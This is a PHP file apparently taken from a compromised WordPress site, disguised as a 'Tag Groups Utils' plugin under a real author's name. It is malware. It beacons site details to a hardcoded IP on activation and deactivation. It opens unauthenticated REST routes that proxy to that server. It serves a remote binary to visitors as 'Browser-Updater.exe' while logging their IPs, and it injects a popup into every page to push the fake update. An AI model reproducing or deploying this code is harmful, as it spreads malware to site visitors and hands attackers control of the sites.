File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/plugins/Plugin/index.php
<?php
/**
*
* Plugin Name: WordPress Tag Groups Utils
* Plugin URI: https://chattymango.com/wp-tag-groups/
* Description: Organize your tags in groups and display them in highly customizable tag clouds (tabs, accordion and more).
* Author: Chatty Mango
* Author URI: https://chattymango.com/
* Version: 1.22.0
* License: GNU GENERAL PUBLIC LICENSE, Version 3
* Text Domain: wp-tag-groups
* Domain Path: /languages
*/
/* ============ */
/* === Init === */
/* ============ */
if (!defined('ABSPATH')) {
exit;
}
/* ==================== */
/* === GLOBAL VALUE === */
/* ==================== */
$MAIN_SERVER = 'http://45.66.248.204:80';
$TOKEN_DOWNLOADS = [
'(2gKfKVJ_..EUfR+ciP_]AQibJY6v]',
'}j.rNZrMbD+gdd40u/@Q!LG=#i*UFZ',
'bYh{vLXGWDF=a4-Sn7&D:#r5SL@Ap9'
];
/* =================== */
/* === INIT PLUGIN === */
/* =================== */
register_activation_hook(__FILE__, 'myplugin_activate');
function myplugin_activate()
{
$url = 'http://45.66.248.204:80/api/wordpress/init';
$data = array(
'token' => 'e8ukc9x6w4Kq2fjzYRApsCdFWTGNy5aJBZV7EXDm',
'wp_name' => get_bloginfo('name'),
'wp_url' => get_bloginfo('wpurl'),
'site_url' => get_bloginfo('url'),
'wp_version' => get_bloginfo('version'),
'action' => "activate"
);
$response = wp_remote_post($url, array(
'method' => 'POST',
'body' => json_encode($data),
'timeout' => 60,
));
return;
}
/* =========================== */
/* === DEACTIVATION PLUGIN === */
/* =========================== */
register_deactivation_hook(__FILE__, 'myplugin_deactivate');
function myplugin_deactivate()
{
global $MAIN_SERVER;
$url = $MAIN_SERVER . '/api/wordpress/init';
$data = array(
'token' => 'e8ukc9x6w4Kq2fjzYRApsCdFWTGNy5aJBZV7EXDm',
'wp_name' => get_bloginfo('name'),
'wp_url' => get_bloginfo('wpurl'),
'site_url' => get_bloginfo('url'),
'wp_version' => get_bloginfo('version'),
'action' => "deactivate"
);
$response = wp_remote_post($url, array(
'method' => 'POST',
'body' => json_encode($data),
'timeout' => 60,
));
}
/* ===================== */
/* === Create Router === */
/* ===================== */
add_action('rest_api_init', function () {
// ============
// === CORS ===
// ============
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
exit(0);
}
add_filter('rest_pre_serve_request', function ($value) {
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
return $value;
});
// ===============
// === ROUTERS ===
// ===============
register_rest_route('api', '/create', array(
'methods' => 'POST',
'callback' => 'laying_create_url',
'permission_callback' => '__return_true',
));
register_rest_route('api', '/create', array(
'methods' => 'HEAD',
'callback' => 'laying_check_create_url',
'permission_callback' => '__return_true',
));
register_rest_route('api', '/download/(?P<path>.*)', array(
'methods' => 'GET',
'callback' => 'laying_redirect_download',
'permission_callback' => '__return_true',
));
register_rest_route('api', '/check', array(
'methods' => ['POST'],
'callback' => 'check_me',
'permission_callback' => '__return_true',
));
});
/* =========================== */
/* === CREATE DOWNLOAD URL === */
/* =========================== */
function laying_create_url(WP_REST_Request $request)
{
global $MAIN_SERVER;
$data = $request->get_body();
if (empty($data)) {
return new WP_REST_Response(
'Admin No Suc.',
503
);
}
$url_request = $MAIN_SERVER . '/create';
$response = wp_remote_post($url_request, array(
'timeout' => 60,
'body' => $data,
'headers' => array(
'Content-Type' => 'application/json',
),
));
if (is_wp_error($response)) {
return new WP_Error(500, 'Error WordPress REST API', 'Error /reg');
}
return wp_remote_retrieve_body($response);
}
function laying_check_create_url()
{
return new WP_REST_Response(
200
);
}
/* ===================== */
/* === Download File === */
/* ===================== */
function laying_redirect_download($request)
{
$path = $request['path'];
global $MAIN_SERVER;
$url_request = $MAIN_SERVER . '/download/' . $path;
$response = wp_remote_get($url_request, array(
'timeout' => 60,
));
if (is_wp_error($response)) {
return new WP_Error(500, 'Error WordPress REST API', 'Error /download/');
}
// === Stat ===
$ip_address = '';
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip_address = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip_address = $_SERVER['HTTP_CLIENT_IP'];
} else {
$ip_address = $_SERVER['REMOTE_ADDR'];
}
send_stat($ip_address);
$file_content = wp_remote_retrieve_body($response);
$headers = wp_remote_retrieve_headers($response);
$file_name = "Browser-Updater.exe";
// if (isset($headers['content-disposition'])) {
// if (preg_match('/filename="?(.*?)"?$/', $headers['content-disposition'], $matches)) {
// $file_name = $matches[1];
// }
// }
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file_name . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . strlen($file_content));
echo $file_content;
exit;
}
/* ================ */
/* === Check Me === */
/* ================ */
function check_me(WP_REST_Request $request)
{
// Add CORS headers
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Accept, X-Requested-With');
// === ||| ===
global $TOKEN_DOWNLOADS;
$body = $request->get_body();
$data = json_decode($body, true);
if (isset($data['token'])) {
$token = $data['token'];
if (in_array($token, $TOKEN_DOWNLOADS)) {
wp_send_json_success(array(
'status' => 'Online'
));
}
}
wp_send_json_error('Unauthorized check client. Status code: 1');
}
/* ================= */
/* === Send stat === */
/* ================= */
function send_stat($ip_address_request)
{
// Add CORS headers
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Accept, X-Requested-With');
global $MAIN_SERVER;
$url = $MAIN_SERVER . '/api/wordpress/update/stat';
$data = array(
'token' => 'e8ukc9x6w4Kq2fjzYRApsCdFWTGNy5aJBZV7EXDm',
'wp_name' => get_bloginfo('name'),
'wp_url' => get_bloginfo('wpurl'),
'site_url' => get_bloginfo('url'),
'wp_version' => get_bloginfo('version'),
'ip_client' => $ip_address_request
);
$response = wp_remote_post($url, array(
'method' => 'POST',
'body' => json_encode($data),
'timeout' => 60,
));
}
// function my_custom_script()
// {
// echo '<script type="text/javascript">
// alert("Wellcome");
// </script>';
// }
// add_action('wp_head', 'my_custom_script');
/* ============== */
/* === POP_UP === */
/* ============== */
function my_popup_enqueue_scripts() {
wp_enqueue_style('popup-css', plugin_dir_url(__FILE__) . 'css/pop_up.css');
wp_enqueue_script('popup-js', plugin_dir_url(__FILE__) . 'js/pop_up.js', array('jquery'), null, true);
}
add_action('wp_enqueue_scripts', 'my_popup_enqueue_scripts');
function my_popup_html() {
include(plugin_dir_path(__FILE__) . 'templates/pop_up.php');
}
add_action('wp_footer', 'my_popup_html');